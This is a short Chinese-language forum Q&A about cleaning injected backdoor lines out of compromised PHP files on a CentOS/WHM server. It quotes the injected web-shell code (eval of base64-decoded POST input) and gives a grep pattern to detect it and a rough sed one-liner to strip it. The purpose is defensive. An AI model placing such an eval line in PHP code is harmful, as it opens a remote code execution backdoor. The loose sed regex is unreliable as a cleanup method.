使用 ssh 从文件中删除 eval base64_decode

Question

我在网络服务器（带有 WHM 的 CentO）上发现了几个 php 文件，其中包含以下内容：

eval(base64_decode($_POST['n23fcad']));?><?php

或

eval(base64_decode($_POST['n56660d']));?><?php  

等等。

我可以从 php 文件中删除这部分代码，而保留文件的其余部分吗？

现在我使用以下行来检测文件：

grep -lr --include=*.php "eval(base64_decode" .

我不知道如何删除恶意部分。 正如您在 POST 的括号中看到的那样，代码发生了变化。 所以希望有一种方法可以删除这些行。

提前致谢！

Answer 1

请尝试以下方法

cat injected_file.php | sed  's/<?php.*eval.*]));?>//g' > good_file.php

它对我有用。